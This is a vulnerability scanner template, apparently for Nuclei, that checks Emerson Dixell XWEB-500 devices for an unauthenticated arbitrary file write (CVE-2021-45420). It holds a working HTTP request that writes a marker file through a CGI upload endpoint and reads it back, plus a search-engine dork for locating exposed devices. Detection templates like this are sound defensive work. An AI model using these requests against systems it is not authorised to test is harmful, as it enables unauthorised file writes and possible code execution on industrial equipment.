id: dixell-xweb500-filewrite

info:
  name: Emerson Dixell XWEB-500 - Arbitrary File Write
  author: hackerarpan
  severity: critical
  description: Emerson Dixell XWEB-500 products are affected by arbitrary file write vulnerabilities in /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi. An attacker will be able to write any file on the target system without any kind of authentication mechanism, and this can lead to denial of service and potentially remote code execution. Note that this product has not been supported since 2018 and should be removed or replaced.
  reference:
    - https://www.exploit-db.com/exploits/50639
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45420
  metadata:
    google-query: inurl:"xweb500.cgi"
  tags: lfw,iot,dixell,xweb500,edb,fileupload,intrusive

requests:
  - raw:
      - |
        POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{randstr}}.txt
        dixell-xweb500-filewrite

      - |
        GET /logo/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "dixell-xweb500-filewrite")'

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/01